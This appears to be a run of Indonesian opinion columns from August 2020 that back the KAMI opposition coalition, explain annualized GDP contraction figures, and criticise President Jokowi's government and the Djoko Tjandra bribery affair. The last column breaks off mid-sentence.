by Dr. Margarito Kamis, SH. M.Hum Jakarta FNN - Senin (17/08). Koalisi Aksi Menyelamatkan Indonesia (KAMI), segera dideklarasikan. Kabarnya deklarasi akan dilangsungkan di Tugu Proklamasi pada tanggal 18 Agustus ini. Dilihat dari sudut ilmu konstitusi, koalisi ini merupakan gabungan dan berkumpulnya sejumlah orang yang memiliki hak yang sama untuk memperoleh kehidupan yang dijanjikan UUD 1945. Hak dan kepentingan konstitusional itulah yang diekspresikan secara terbuka. Mereka yang sebarisan dengan ini, jelas memiliki isi kepala, kecintaan terhadap Indonesia dan moralitas politik yang bening sebening hasrat para pendiri bangsa ini. Tak ada alasan untuk meragukan mereka. Juga tak ada alasan hukum sekecil apapun untuk menekan dan mengitimidasi, apalagi sampai menindas mereka. Orang Kaya Cengkeraman liberalisme, kapitalisme bahkan komunisme berbaju kapitalisme telah begitu dalam di negeri ini. Makin lama makin utuh lilitannya. Sudah sangat berbahaya sekali. Mengapa? Karena ketiga isme itu menomorsatukan kelompok orang kaya. Bahkan mereka mengendalikan negara. Inilah bahaya terbesar bangsa ini ke depan. Oligarki, korporasi dan konglomerasi dimanapun, selalu berbenteng dan berjaya dengan uangnya. Mengarahkan pembangunan negara, merencanakan hukum, ekonomi dan politik, menjadi tabiat bawaan mereka. Itu pula yang menjadi keterampilan terbaik mereka. Efek catastropik sederhananya adalah hukum tak bisa lurus. Hukum selalu miring mengikuti tiupan angin oligarki, korporasi dan konglomerasi. Untuk alasan apapun, oligarki, korporasi dan konglomerasi ini tak dapat ditandingi oleh UMKM (Usaha Menengah, Kecil dan Mikro). UMKM terlalu kecil untuk diperhitungkan. Pengusaha bermodal 2,5 juta rupiah, sekali lagi, tak masuk dalam hitungan mereka. Sekadar perbandingan, oligarkilah (bankers) yang merancang pembentukan Bank of England. Beberapa bankers, dalam kasus Amerika, yang merancang The Federal Reserve Bank sebagai bank sentral. Rockeffeler, J.P. Morgan Frank Fanderlip, Paul Warburg sekedar menyebut beberapa nama dan otaknya sebagai contoh. Administrative agency, executive agency, independent state organ atau independent state agency, regulatory body, yang ahli hukum tata negara Indonesia sombongkan sebagai hal hebat tata negara modern, sepenuhnya ciptaan kelompok kaya dan oligarkis ini. Rokceffeler berada jauh dibalik penciptaan Interstate Commerce Commission 1887 sebagai pionernya. Organisasi pemerintah jenis ini mulai diandalkan pada pemerintahan Presiden Woodrow Wilson, profesor administrasi negara dari Wisconsin University ini. Pada pemerintahannya tercipta Food Administration dan National War Labour Bord, United State on Tariff Commission dan War Industries Board. Yang terakhir ini dipimpin oleh Bernard Baruch, terkoneksi langsung pada J.P. Morgan. Sedangkan J.P. Morgan acap kali disebut American Rothschild. Dipenghujung perang dunia pertama, masih dalam pemerintahan Woodrow Wilson, dibentuk apa yang dikenal dengan Court of Internal Revenue Tax Appeal. Ini diotaki oleh Roper dan Leffingsweel. Nama yang disebut terakhir terkoneksi kuat dengan Ford Company. Lima belas tahun kemudian, organisasi sejenis mewabah. Ini terjadi pada pemerintahan Presiden Franklin Delano Rosevelt. Orang ini dikenal sebagai bankers friend. Pada pemerintahan ini, tercipta puluhan organisasi serupa. Seperti biasa, executive agency ini diotaki pendiriannya oleh oligarki, korporasi dan konglomerasi. Konstitusional Indonesia? Pembaca FNN yang budiman. Studi tata negara Indonesia terlalu miskin untuk dihormati layaknya kajian tata negara khas Amerika. Tetapi KAMI, saya percaya tahu ribuan, bahkan jutaan hektar tanah dikuasai hanya oleh beberapa orang. KAMI juga tahu isi perut bumi berupa nikel, batubara, tembaga, emas, bauksit, biji besi dan lainnya dikuasai oleh segelintir korporasi dalam negeri dan global. Perdagangan beras, gula, garam, kedele, bawang bombai, dan lainnya juga tak jauh dari cengkeraman korporasi besar. Kartel terlihat samar-samar berada di rute ini. KAMI saya percaya tahu persis persoalan itu. Dari kepingan-kepingan pernyataan eksponen KAMI, terlihat mereka mengerti pemerintah ini mengitimewakan korporasi besar. Perpu Nomor 1 tahun 2020 yang telah menjadi UU Nomor 2/2020 ini, sangat jelas bemain dan berselancar soal itu. KAMI tak mungkin tidak mengerti bangsa ini memiliki impian besar untuk berjaya di masa depan. Terlalu bodoh dan tolol bila mengangap KAMI tak mengerti rute dan cara untuk sampai ke impian tersebut, terus saja bermasalah. Performa politik dan tata kelola administrasi negara disepanjang rute ini terlalu ugal-ugalan. Parah, payah, ngaco, ngawur dan amburadul. Sialnya sistem politik, khusus pemilihan umum yang diatur dalam konstitusi, sepenuhnya menyenangklan kaum kaya ini. Pemilihan presiden model UUD 1945 hasil amandemen, sepenuhnya fungsional sebagai instrumen politik dan ekonomi orang kaya. Hanya mereka saja. Bukan UMKM, yang memiliki kesanggupan memberi sumbangan besar kepada Capres. Panorama busuk sistem pemilu ini, entah apa penyebabnya, terbukti tidak mengusik kesadaran terdalam politisi. Padahal itulah salah satu penyebab terbesar Indonesia terus bergerak keluar dari cita-cita pendiri negara yang tertuang dalam alinea keempat pembukaan UUD 1945. Ini soal besar. Sistem itu menjadi ladang tumbuhan tatanan praktis yang bersifat leviatan. Sistem ini sudah sangat menjijikan sekali. Sama menjijikannya dengan politik RUU Omnibus Cipta Kerja. Mengapa? RUU ini sepenuhnya mengadaptasikan politik liberalistik khas oligarkis, korporasi dan konglomerasi untuk meliberalisasi Indonesia. Jauh dari panggang dari api, jika disandarkan pada pasal 33 UUD 1945. Perizinan dilihat oleh oligarki, korporasi dan konglomerasi adalah barir terbesar. Ini sangat khas prilaku mereka. Ini yang diidentifikasi Amerika pada awal abad 20. Kikonsolidasikan dengan sangat sistimatis pada krisis ekoniomi besar tahun 1929-1933, dan berlanjut hingga sekarang. Mengamankan pasar dalam negeri di satu sisi, dan disisi lain memaksa negara lain membebaskan pasarnya. Harus membuka akses sepenuhnya kepada oligarki internasional itulah dasar pikiran fikirannya. Itu yang ditrafsormasik ke dalam berbagai UU, hingga tahun 2015. Undang-undang itu, antara lain, Rerciprocal Trade Act (RTA) 1933, Ajustded Trade Act (ATA) 1937, Trade Act (TA) 1963, Trade Act of 1974, dan Trade Acgreement Act (TAA) 1979, Tariff and Trade Act (TTA) 1984, Omnibus Trade and Competitivenes Act (OTCA) 1988, The Bipartisan Trade Promotion Authority Act (BPTA) 2002, dan terakhir The Bipartisan Comprehensive Trade Priorities Act (BCTPA) 2015. Semuanya sekali lagi, dengan segala argumen khasnya, difungsikan sebagai instrumen pemaksa negara lain untuk meliberaklisasi pasar domestiknya. Instrumen proteksi utama adalah izin dan tarif. Izin ini yang harus diliberalkan, setidaknya dilonggarkan selonggar longgarnya. Politik RUU Omnibus Law ini, untuk alasan apapun, jelas liberalistik. Ini politik lerviatan. Mengapa? Politik RUU ini tidak bersensi lain, selain meliberalisasi dan tatanan ekonomi dan sumberdaya alam untuk oligarki, korporasi dan konglomerasi domestic dan global. Investor China akan tertawa terbahak-bahak atas kebodohan bangsa ini. Politisi boleh saja menyodorkan bahwa panorama politik investasi (global) sebagai basis RUU itu. Tetapi pragmatisme jelas ngawur, picisan, odong-odong, kaleng-keleng dan beleng-beleng. Memang kompleks, untuk mengambil sikap politik hitam atau putih “Pancasila atau liberalistik, kapitalistik atau sosialistik”. Tetapi bukan disitu soalnya. Tidak ada negara yang tidak memproteksi dirinya. Tidak ada negara yang tidak menjadikan idiologi sebagai panduan berbangsa dan bernegara. Pemahaman seperti itulah yang harus dimengerti oleh politisi, lebih dari siapapun. Politisi harus mengerti kalau pragmatisme bisa diambil. Tetapi politisi juga harus diingatkan pragmatism harus diadaptasikan dengan batasan-batasan idilogis dan cita-cita nasional. Dimanapun dalam semua sistem politik, pragmatisme itu harus diadaptasikan pada klaim idiologis negara. Pada tujuan dan cita-cita bernegara. KAMI terlihat sangat bening mengenalnya. Konstitusional sekali mereka. Kabarnya mreka akan menyampaikan pikiran-pikiran orisinilnya itu ke DPR, DPD dan MPR. Itu bagus, konstitusional dan hebat. Karena diusia kemerdekaan yang ke-75, warga negara mengingatkan pemegang kekuasaan formal adanya kekeliruan dalam rute dan cara bangsa ini memburu mimpinya. Penulis adalah Pengajar HTN Univeristas Khairun Ternate.

Ekonomi Indonesia Kuartal II-2020 Minus -25%

by Anthony Budiawan Jakarta FNN – Ahad (16/08). Pertumbuhan Kuartal I-2020 Lebih Buruk dari Jepang. Judul tulisan ini bukan fitnah. Bukan Hoaks. Pertumbuhan ekonomi Indonesia pada kuartal II-2020 (Q2/2020) minus -25%, dibandingkan dengan kuartal sebelumnya, Quarter-on-Quarter (QoQ) yang disetahunkan. Judul tulisan ini mengimbangi berita yang dimuat banyak di media massa Indonesia tentang pertumbuhan ekonomi dunia di masa resesi. Kompas.com pada 31 Juli menurunkan berita: Ekonomi AS Minus 32,9 Persen pada Kuartal II-2020, Terburuk sejak 1921: https://money.kompas.com/read/2020/07/31/084125926/ekonomi-as-minus-329-persen-pada-kuartal-ii-2020-terburuk-sejak-1921?page=all Bisnis.com juga menurunkan berita serupa: Ekonomi AS Terkoreksi 32,9 Persen, Penurunan Tertajam Sejak 1947: https://ekonomi.bisnis.com/read/20200730/9/1273344/ekonomi-as-terkoreksi-329-persen-penurunan-tertajam-sejak-1947 Dan banyak media online lainnya yang menurunkan berita dengan isi sejenis seperti republika.co.id, inews.id, tempo.co, cnnindonesia.com, cnbcindonesia.com dan banyak lagi. Inti isi berita tersebut adalah ekonomi AS turun 32,9 persen pada kuartal II-2020. Selain itu, banyak media massa Indonesia juga menurunkan berita ekonomi Singapore turun 42,9 persen pada kuartal II-2020. Pada 11 Agustus 2020, cnnindonesia.com menurunkan berita dengan judul Resesi Singapura, Ekonomi Minus 42,9 persen pada Kuartal II: https://www.cnnindonesia.com/ekonomi/20200811131634-532-534460/resesi-singapura-ekonomi-minus-429-persen-pada-kuartal-ii Dan kompas.com menurunkan berita Singapura Resesi, Ekonomi Kuartal II Minus 42,9 Persen Dibandingkan Sebelumnya : https://money.kompas.com/read/2020/08/11/090100126/singapura-resesi-ekonomi-kuartal-ii-minus-42-9-persen-dibandingkan-sebelumnya. Dan banyak media lainnya juga menurunkan berita sejenis. Apakah berita tersebut benar? Apakah ekonomi AS dan Singapore turun 32,9% dan 42,9%? Yang jelas, isi berita tersebut kurang tepat. Setidak-tidaknya penjelasannya tidak lengkap. Banyak kekurangan. sehingga pengertian dan substansi isi berita melenceng. Nampaknya, media yang mengutip berita luar negeri tersebut tidak menyimak isi berita dengan baik. Mungkin karena kurang paham masalah ekonomi, sehingga asal muat saja. Tetapi, akibatnya fatal. Karena data tersebut juga dikutip dan menjadi rujukan banyak pihak, termasuk pejabat. Para pejabat yang mengutip juga tidak paham soal apa yang dibicarakan, sehingga sempurnalah kekisruhan data ekonomi tersebut. Interpretasi yang benar adalah, pertumbuhan ekonomi Amerika Serikat (AS) dan Singapore pada Q2/2020 masing-masing turun (minus) -9,5% dan -13,1 persen dibandingkan kuartal sebelumnya (Q1/2020), atau Quarter-on-Quarter (QoQ), setelah dikoreksi faktor musiman (seasonally adjusted). Pertumbuhan ekonomi AS pada Q2/2020 yang sebesar -9,5% ini, kalau disetahunkan (annualized), menjadi minus -32,9%. Maksudnya, kalau ekonomi AS pada tiga kuartal berikutnya juga tumbuh dengan minus -9,5%, maka pertumbuhan setahun ke depan akan menjadi -32,9% (compound). Hitungannya, (1+pertumbuhan) dipangkatkan 4 dikurangi 1: (1+(-9.5%)) ^ 4 -1. Sebagai ilustrasi, kalau pada awal periode, anda ada uang Rp 100, dan setiap kuartal berikutnya turun -9,5%, maka pada Q1 uang anda menjadi Rp 90,5 (berkurang 9,5%), pada Q2 menjadi Rp 81,9 {(100%-9,5%) x Rp 90,5}, pada Q3 menjadi Rp 74,1 dan pada Q4 menjadi Rp 67,1, atau 67,1% dari Rp 100. Artinya turun Rp 32,9 atau 32,9% dari Rp 100. Dengan demikian, berdasarkan perhitungan yang disetahunkan, annualized, ekonomi AS dan Singapore masing-masing terkontraksi minus -32,9% dan -42,9%. Berdasarkan perhitungan ini, maka ekonomi Indonesia pada Q2/2020 anjlok minus -25% (QoQ, SA, annualized), karena pada Q2/2020 ekonomi Indonesia minus -6,9%, QoQ-SA. Bagaimana dengan Q1/2020? Ekonomi Indonesia pada Q1/2020 minus 0,69% (QoQ-SA). Sedangkan ekonomi Jepang pada Q1/2020 minus 0,56% (QoQ-SA). Jadi, pertumbuhan ekonomi Indonesia pada Q1/2020 sebenarnya lebih buruk dari Jepang, secara QoQ-SA. Semoga untuk ke depannya, media massa dapat menurunkan berita ekonomi secara lebih cermat. Para wartawan dan editor diharapkan mencerna sungguh-sungguh berita yang dikutip dari luar negeri, agar tidak menyesatkan publik. Dapat memberi informasi yang tepat kepada para pejabat serta pengguna data. Berikut ini adalah contoh berita yang memberi informasi secara lebih cermat dan benar: U.S. Economy Shrinks at 32.9% Annualized Pace: https://www.treasuryandrisk.com/2020/07/30/u-s-economy-shrinks-at-32-9-annualized-pace/?slreturn=20200715022946 Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

KAMI Sebagai Jembatan Aspirasi Rakyat

by M Rizal Fadillah Jakarta FNN – Ahad (16/08). Pembentukan Koalisi Aksi Menyelamatkan Indonesia (KAMI) mendapat respon bagus di kalangan masyarakat. Ada harapan yang digantungkan masyarakat kepada koalisi tokoh-tokoh oposisi yang tergabung dalam KAMI tersebut. Masyarakat tidak bisa berharap banyak dari rezim yang sedang berkuasa sekarang. Dasar terbetuknya KAMI penyelamatan bangsa. Untuk menolong negara yang akan tenggelam akibat salah kelola dari para penyelenggara negara. Sebab di era Pemerintahan Jokowi, tercatat kondisi bangsa parah hampir di segala bidang, baik ekonomi, politik, budaya, maupun agama. Sulit untuk menyebut adanya prestasi dari kinerja yang baik dari kepemimpinan di pemerintahan Jokowi. Pandemi covid sebagai musibahpun masih dijadikan lahan untuk menggerus uang negara. Melalui pembentukan sejumlah peraturan perundang-undangan yang berbau rekayasa. Tujuanya untuk menolong korporasi dan oligarkis licik, picik, tamak dan culas yang sudah bangkrut sebelum datangnya Pendemi covid. KAMI nampaknya bukan untuk "kami" tetapi untuk kita semua. Untuk bangsa dan negara. Untuk menyelamatkan Indonesia dari kebangkrutan yang lebih parah. Kita sebagai rakyat sekarang ini merasa tersumbat aspirasi oleh hegemoni korporasi, oligarkhi, atau tirani kekuasaan. Tata kelola kekuasaan yang dikendalikan oleh korporasi dan konglomerasi semata. Para tokoh yang berhimpun dalam koalisi, sebagian besar diantaranya adalah para senior yang berkategori "sudah selesai dengan urusan dirinya". Artinya, mereka itu memiliki spirit pengabdian penuh dan tinggi. Mereka mengkontribusikan sisa usia bagi kemashlahatan rakyat, bangsa, dan negara. Mereka berikhtiar untuk suatu perubahan ke arah yang lebih baik. Namun kekuatan infrastruktur politik juga tentu menentukan. Di saat partai politik terkooptasi oleh kekuasaan kapitalistik, korporasi dan konglomerasi, kelompok penekan tersandera oleh kekuatan represif, dan media yang menderita sesak nafas akut. Keberadaan tokoh politik (political figure) yang berhimpun di dalam KAMI untuk menyuarakan aspirasi rakyat menjadi sangat penting. Sangat dibutuhkan saat ini. Sebagai wujud dari gerakan moral politik yang aspiratif. Moral politik yang perduli terhadap kemiskinan rakyat. Moral politik yang perduli terhadap pengangguran dan pemutusan hubungan kerja (PHK). KAMI adalah koalisi masyarakat sivil (sivil society) yang resah dan perduli dengan petumbuhan ekonomi yang minus -10,34% bila dihitung dari awal Januari 2020. Koalisi civil society yang resah melihat pelanggaran terhadap konsitusi negara di depan mata. Contohnya nyata adalah dihilangkannya hak budgeting DPR untuk mengawasi APBN selama tiga tahun. Aspirasi publik bergaung untuk keyakinan bahwa menyelamatkan negeri harus dimulai dengan dialog dinatara anak-anak bangsa. Kebenaran bukan hanya milik penguasa. Dialog agar muncul kesadaran bahwa Presiden sebaiknya mundur dari jabatannya. Mundur sebagai bentuk kesasdaran untuk menyelamatkan bangsa dari krisisi multi demensi. Dengan adanya kepemimpinan bangsa baru, maka langkah dan upaya pembenahan dilakukan. Bisa bembangun kembali kepercayaan rakyat kepada bangsa dan negara. Mebangun kembali harapan dan cita-cita tujuan bernegara sebagaimana diamanatkan dalam alinea ke emapat Pembukaan UUD 1945. Mungkin dilakukan secara segmenter atau elementer. Seluruhnya berbasis Ideologi dan Konstitusi. KAMI adalah fenomena tersendiri. Wadah silaturahmi untuk menyelamatkan negeri. Kiprahnya dinanti oleh rakyat yang semakin terhimpit dan tereliminasi di negerinya sendiri. Koalisi aksi. Bukan sekedar basa-basi politik. Tetapi merealisasikan tugas, perintah dan amanat Proklamasi. "Kami bangsa Indonesia dengan ini menyatakan Kemerdekaan Indonesia. Hal hal yang mengenai pemindahan kekuasaan dan lain-lain dilaksanakan dengan cara seksama dan dalam tempo yang sesingkat-singkatnya". Dua spirit Proklamasi, yaitu merdeka dari penjajahan dan pemindahan kekuasaan harus dilakukan secara seksama dan dalam tempo yang sesingkat-singkatnya. KAMI adalah koalisi cerdas, berani, dan berdaya guna. Berjuang demi kebaikan bangsa dan negara. Penulis adalah Pemerhati Politik dan Kebangsaan.

Pidato Kenegaraan Jokowi, Harapan Hampa

by Ubadilah Badrun Jakarta FNN – Sabtu (15/08). Pidato Kenegaraan Jokowi seperti harapan hampa. Diantara ciri harapan hampa adalah pidato yang melangit, tapi lupa terhadap pijakan di bumi. Menghayal atau mimpi. Bermimpi bahwa Indonesia dalam beberapa bulan kedepan akan pulih, dan ekonomi tumbuh diatas 4 persen adalah harapan hampa. Tidak realistis. Jokowi lupa kalau kakinya ada di Solo. Lupa menginjakan kaki di bumi bahwa saat ini angka pertumbuhan ekonomi Indonesia minus lebih dari 5 %. Kalau lupa, sebaiknya Jokowi tengoklah rakyat miskin dan pengangguran di Solo, di Jawa, di Jakarta, Sumatera, Kalimantan, Sulawesi, Ambon, Bali, Lombok, hingga Papua. Laporan Badan Pusat Statistik (BPS) pada maret 2020 menyebutkan, penduduk miskin mengalami kenaikan menjadi 26,42 juta orang. Agustus ini tentu saja akan terus mengalami kenaikan. Sebab tidak ada tanda-tanda perbaikan ekonomi yang memberi harapan. Perumpamaan ekonomi saat ini sedang hang. Seperti perangkat komputer harus di re-start atau di re-booting ualng. Itu juga perumpamaan yang keliru. Sebab sama sekali tidak tepat, karena krisis ekonomi saat ini bukan sekedar diselesaikan dengan pencet tombol untuk re-start atau re-booting, tetapi kerusakanya ada pada sistem dan tata kelolanya yang kacau dan amburadul. Tidak terlihat tata kelola yang baik dan benar. Tata kelola itu hanya bisa berjalan dengan baik, jika ada pemimpin yang mampu memanajnya dengan baik. Secara sederhana berarti ada persoalan pada sistem yang keliru. Tragisya, kekeliruan tersebut sebagai akibat persoalan kepemimpinan. Jadi perumpamaan yang tepat adalah saat ini sistem komputer sedang rusak parah. Sementara operatornya gagal memahami kerusakannya. Tidak juga memehami sistem yang bekerja pada komputer. Operatornya menjadi bingung sana-sini. Akibatnya, tidak tau bagaimana cara untuk memperbaiki kerusakan yang terjadi pada komputer. Bisanya hanya menyalahkan lingkungan sekitar. Padahal permasalahan utama adalah operator yang gagal faham. Akibat gagal faham, maka tidak bisa menerapkan tata kelola pemerintahan yang baik dan benar. Peraturan dibuat saling bertabrakan antara satu dengan yang lain. Undang-undang bertabrakan dengan konstitusi. Hilangnya hak budgeting DPR sebagai salah satu contoh paling sederhana. Belom lagi peraturan-peraturan lain yang dibawahnya. Pidato kenegaraan Jokowi juga berlebihan. Tidak realistis terhadap kenyataan yang dialami masyarakat. Membangga-banggakan diri bahwa Indonesia sudah termasuk negara dengan kategori middle income country. Padahal sekarang ini ekonomi kita terpuruk dengan angka pertumbuhan minus 5 persen lebih. Dalam pidato kenegaraan yang hampa itu, Jokowi sengaja tidak menjelaskan bahwa status middle income country yang diberikan World Bank tersebut, didasari atas perhitungan Gross National Income (GNI) per capita Indonesia tahun 2019 lalu. Bukan pada GNI tahun 2020, dimana ekonomi Indonesia saat ini sedang terpuruk. Peernyataan Jokowi tentang tentang middle income country atas perhitungan GNI tahun 2019 tersebut, sama saja seperti Soeharto pidato tahun 1998 silam. Ketika itu Soeharto bercerita bla-bla tentang ekonomi Indonesia yang tumbuh sebesari 8,46%, namun tanpa menjelaskan perhitungan dan pertumbuhan ekonomi tahun 1997. Tapi Soeharto tidak hanya bisa berpidato seperti itu saja. Soeharto bersikap legowo dan kesatria. Seoharto mengerti betul sopan-santun bernegara dalam keadaan krisis. Sehingga Soeharto dengan berjiwa besar, rela mundur dari kursi Presiden. Sikap kesatria Soeharto inilah yang diharapkan muncul dari Jokowi. Penulis adalah Pengajar di Universitas Negeri Jakarta.

Pengacara Bajingan

by Zainal Bintang Jakarta FNN – Sabtu (15/08). Hari ini di Indonesia, di Jakarta dan di ibukota republik tiga perwira tinggi polri, PU, NB dan NSW, pengacara ADK serta seorang Jaksa PSM, rontok. Mereka dijebloskan ke dalam tahanan. Terseret kasus penyuapan dan pemalsuan dokumen untuk buronan Djoko Tjandro, tersangka kasus cessie Bank Bali. Buronan sebelas tahun lalu itu, diringkus sehari sebelum Hari Raya Idul Adha (30/07). Bertepatan malam takbiran menyambut hari raya Idul Qurban, dimana umat Islam diwajibkan menyembelih hewan kurban. Djoko Tjandara diringkus oleh Pilisi Diraja Malaysia (PDRM). Kemudian diserahkan kepada tim Polri di salah satu Kantor Polisi atau Bandara di Malaysia. Memperingati ulang tahun proklamasi kemerdekaan yang ketujuh puluh lima, bangsa ini dilanda duka dan luka yang dalam. Terkoyak oleh penangkapan pejabat penegak hukum yang terjerumus ke dalam lembah kenistaan pelanggaran hukum. Lantas, pada saat ulang tahun bangsa ini, hadiah dan tanda kesyukuran apakah yang akan diberikan kepadanya? Noda hitam penyuapan dan penyalahgunaan jabatan yang melanggar sumpah sangat memukul hati dan melukai perasaan rakyat sebagai bangsa yang beradab. Kasus Djoko Tjandra yang menghebohkan itu mendorong saya membaca ulang novel yang berjudul “Rogue Lawyer” atau “Pengacara Bajingan” karya John Grisham. Novelis, kelahiran Jonesboro, Arkansas, AS, 8 Februari 1955. Novel itu dirilis Oktober 2015 di Amerika. Di Indonesia, novel berjudul “Pengacara Bajingan” sudah diterjemahkan dan diterbitkan grup penerbit Gramedia (2017). Sang novelis itu mantan politikus dan pensiunan pengacara Amerika Serikat. Dia dikenal sebagai penulis novel bertema hukum. Telah melahirkan puluhan novel, yang semuanya boleh dikata best seller di seantero dunia. Novel “Pengacara Bajingan” menceritakan tentang pengacara jalanan yang bernama Sebastian Rudd. Tidak punya kantor tetap. Bekerja sesuai dengan waktunya. Kegiatannya berlangsung di dalam mobil van kargo besar merk Ford yang dilengkapi oleh jendela anti peluru. Ada Wi-Fi. Kulkas kecil. Bar untuk minuman keras. Kasur dan perlengkapan senjata lainnya. Selain itu, Sebastian Rudd juga tidak memiliki perusahaan, mitra kerja, karyawan maupun petugas lainnya. Hanya sendirian tinggal di sebuah apartemen kecil. Sehari-hari didampingi seorang yang disebut partner penunjukan Negara Bagian. Grisham memulai ceritanya dengan mengatakan : Namaku Sebastian Rudd. Meskipun aku pengacara jalanan terkenal, kau tak akan melihat namaku di papan iklan, di bangku-bangku halte bus atau meneriakimu dari buku telepon. Aku tak sudi mengeluarkan uang untuk dilihat orang di TV, meskipun sering menjadi berita di TV. Namaku tak ada di buku-buku telepon. Aku juga tak punya kantor konvensional. Secara resmi aku membawa pistol. Soalnya nama dan wajahku cenderung menarik perhatian orang-orang yang juga membawa senjata dan tidak keberatan menggunakannya. Sebastian juga membenci asosiasi pengacara. Gemar memberi bocoran kepada wartawan secara cuma-cuma. Grisham menjelaskan pada sebuah wawancara, kisahnya bukan terinspirasi dari pengalaman pribadi. "Aku diam-diam mengagumi pengacara yang memiliki sedikit waktu di kantor, dibandingkan mereka yang bertempur di depan juri atau klien". Diapun tidak pernah menawarkan diri mengambil kasus pria yang akan dihukum mati. Memiliki profesi sebagai pengacara selama sepuluh tahun membuatnya benar-benar ingin menjadi pengacara nakal. Sebagai anggota Badan Pembuat Undang-Undang di Mississippi, Grisham memiliki pengetahuan yang luas mengenai lika-liku “lorong gelap” permainan hukum di Amerika. Hal itu sangat membantunya menciptakan karakter setiap tokoh dalam banyak novel yang bertema hukum. Dia kenyang dengan permainan intrik dan berbagai kebusukan. Termasuk penjungkirbalikan kejahatan menjadi kebenaran. Grisham tidak segan-segan mengkritik sistem hukum di negaranya. Hal ini dapat ditemui dalam novelnya yang mengecam sikap seorang jaksa yang menutup mata dan hatinya terhadap kebenaran, meskipun sesungguhnya adalah fakta. “Sistem yang gila dan sangat tidak adil. Saksi-saksi yang dipersiapkan pihak kejaksaan yang bersaksi untuk Negara Bagian ditutup-tutupi dengan legitimasi, seolah-olah mereka disucikan oleh otoritas”. Grisham melalui Sebastian Rudd berucap, “Polisi, ahli, bahkan informan yang dimandikan dan dibersihkan dan disuruh memakai pakaian rapi, semua bersaksi dan berbohong dalam upaya terkordinasi untuk mengkesekusi klienku. Tapi saksi-saksi yang tahu kebenarannya, dan memberitahu yang sebenarnya, langsung diabaikan dan dibuat agar terlihat bodoh”. Dengan nada lirih Rudd mengatakan, “seperti banyak sidang lain, ini bukan demi kebenaran, melainkan kemenangan”. Mayoritas klien yang ditangani oleh Rudd adalah para kriminal di kotanya yang kecil. Dan mayoritas berumur rata-rata dibawah duapuluh tahun. Bahkan ada yang baru berumur dua belas tahun. Dan di dalam memperjuangkan penyelamatan klien kecilnya, Rudd benar-benar berjibaku menggunakan semua instink, ketajaman feeling dan juga sering berupa nasib baik. Melalui tokoh “ciptaannya” yang bernama Sebastian Rudd, Grisham memiliki pijakan yang kuat membuka kebobrokan sistem hukum di negaranya. Rudd menjelaskan kasusnya dengan menuliskan, “aku sedang membela pemuda putus sekolah delapan belas tahun yang menderita kerusakan otak, dan dituduh membunuh dua gadis kecil dalam salah satu kejahatan paling keji yang pernah kutemui”. Ruud mengakui, “pekerjaanku berlapis-lapis dan rumit. Aku dibayar oleh Negara Bagian untuk penyediaan pembelaan kelas satu bagi seorang terdakwa pembunuhan. Ini mengharuskanku berupaya mati-matian di ruang sidang tempat tak seorangpun mendengarkan. Gardy sudah dianggap bersalah pada hari dia ditangkap, dan sidangnya hanya formalitas”. Yang menarik dari karya-karyanya yang bertemakan hukum, Grisham selalu memadukan duet pengacara dengan wartawan. Pemberitaan media yang kredibel yang mewakili luka hati masyarakat akibat merebaknya praktik “mafia” hukum, diyakininya masih dapat menjadi rem tangan kelajuan praktik pagar makan tanaman yang dilakukan aparat penegak hukum. Namun demikian, ada yang membedakan posisi Sebastian Rudd sebagai pengacara bajingan dengan pengacara salon. Rudd hanya menangani klien-klien manusia terbuang yang tidak punya status sosial dan eknomi yang jelas. Dianalogikan sebagai “bajingan” yang ongkos persidangannya ditanggung oleh negara. Dengan menggunakan kehidupan liar, para “bajingan” tersebut sebagai latar belakang novelnya, Grisham menemukan ruang terbuka untuk membeberkan secara dramatis berbagai ketimpangan, kecurangan dan praktik kongkalikong pejabat hukum, justru oleh mereka hukum itu dikoyak-koyak. Novel kedua Grisham berjudul The Firm adalah yang pertama dibikin film, dengan judul yang sama dibintangi oleh Tom Cruise. Film ini menjadi salah satu film box office di tahun 1993. Kisah keluarga Joey Morolto Mafia Chicago. Mitra perusahaan hukum tempat Mitch (Tom Cruise) bekerja serta sebagian besar rekan, semua terlibat dalam skema penipuan pajak dan pencucian uang besar-besaran yang bermarkas di Cayman Island yang dikenal dengan Tax Haven Island (Pulau Surga Pajak). Novel Grisham yang lain yang sukses ketika diangkat ke layar lebar (1994) adalah The Pelican Brief (Catatan Kasus Pelikan), dibintangi Julia Roberts dan Denzel Whasington yang berperan sebagai wartawan. Berkisah tentang keuletan seorang mahasiswi fakultas hukum bersama sang wartawan membongkar kebusukan kolusi politisi dan pengusaha. Bahkan ada benang merah yang menghubungkan kasus ini dengan presiden dan seorang pengusaha kaya kerabat Istana. Ketika digalakkan kampanye Tax Amnesty (pengampunan pajak) di Indonesia (2016 – 2017), pemerintah permah menyebut dan tersebar di media, bahwa ada sejumlah pengusaha kakap Indonesia menyimpan uangnya di Tax Haven Island dalam jumlah fantastis Rp. 11 ribu triliun. Seperti biasa, sebuah pesan masuk di WhatsApp. Mempersoalkan sampai dimana implementasinya di Indonesia motto dunia hukum yang berbunyi : “Fiat Justitia Ruat Caelum”, (Hendaklah Keadilan Ditegakkan, Walaupun Langit Akan Runtuh), sebagaimna diucapkan Lucius Calpurnius Piso Caesoninus (43 SM). Di bawah bayang-bayang hitam kasus brutal Djoko Tjandra. Di langit Indonesia saat ini mendung gelap bergelantungan. Di tengah nafas kemerdekaan yang terasa menyesakkan dada, saya hampir saja tidak sanggup membaca pesan yang lain via WhatsApp : “Selamat Menyambut HUT Kemerdekaan RI 17 – 08 – 45 yang ke – 75. Dirgahayu Bangsa Indonesia”. Penulis dalah Wartawan Senior dan Pemerhati Masalah Sosial Budaya.

Tak Lama Lagi Jokowi Akan Ditinggal Sendiri

by Asyari Usman Jakarta FNN - Sabtu (15/8/). Inilah ‘the moment of truth’ untuk melihat jati diri para konglomerat yang selama ini menikmati kekuasaan Presiden Jokowi. Diperkirakan ‘crash landing’ akan terjadi. Kondisi perekonomian sudah sangat menyeramkan. Pertumbuhan minus 8% atau bahkan minus 10% bisa terjadi dalam waktu dekat. Yang jelas, pertumbuhan -5% sedang berproses menuju minus level berikutnya. Para konglomerat pastilah sudah menyiapkan ‘escape route’ (rute pelarian) mereka. Pasti pula sudah disiapkan destinasi yang menyenangkan mereka. Dan tidak mungkin mereka akan pergi tanpa persiapan finansial dan kelanjutan bisnis mereka di tempat lain itu. Apakah para pengusaha besar akan memikirkan para penguasa yang selama ini membantu mereka? Apakah mereka akan memikirkan Jokowi yang bakal menghadapi krisis besar perekonomian? Apakah mereka akan memikirkan rakyat jelata? Saat-saat “siapa teman sejati, sehidup semati” akan terkuak sebentar 